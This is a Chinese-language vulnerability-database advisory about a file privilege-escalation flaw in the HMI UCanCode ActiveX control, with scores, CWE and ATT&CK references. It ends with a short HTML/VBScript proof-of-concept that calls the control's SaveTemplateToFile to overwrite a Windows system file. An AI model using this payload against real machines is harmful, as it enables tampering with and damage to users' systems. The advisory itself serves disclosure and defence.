HMI UCanCode Write Methods 文件权限提升

历史差异连接jsonxmlCTI

CVSS 元临时分数	当前攻击价格 (≈)	CTI兴趣分数
4.8	$0-$5k	0.19

摘要信息

检测到一个被分类为致命的安全漏洞，影响HMI UCanCode。此漏洞会影响未知代码的组件Write Methods。当被操控时，会导致权限提升（文件）。另外，有可用的漏洞利用。

检测到一个被分类为致命的安全漏洞，影响HMI UCanCode。此漏洞会影响未知代码的组件Write Methods。当被操控时，会导致权限提升（文件）。使用CWE来声明会导致 CWE-269 的问题。此漏洞的脆弱性 2016-11-23由公示人shinnai、公示人身份UCanCode multiple vulnerabilities、公示人类型为Mailinglist Post (Full-Disclosure)所提交。该安全通告已在 seclists.org 提供下载。

暂无技术细节。该漏洞的普及率低于常规水平。另外，有可用的漏洞利用。该漏洞的利用方式已向公众披露，存在被利用的风险。现在，可能约为美元 $0-$5k。 MITRE ATT&CK 项目将该攻击技术定义为 T1068。

若有长度，则其被标记为概念验证。漏洞利用工具已在seclists.org共享下载。我们估计的零日攻击价值约为$0-$5k。此漏洞利用的代码如下：

<html>
<object classid="clsid:B6A3BF2C-F770-4182-BE7F-103BF2C76826" id="test"></object>
  <script language = "vbscript">
   test.SaveTemplateToFile buff,C:\Windows\_system.ini
  </script>
</html>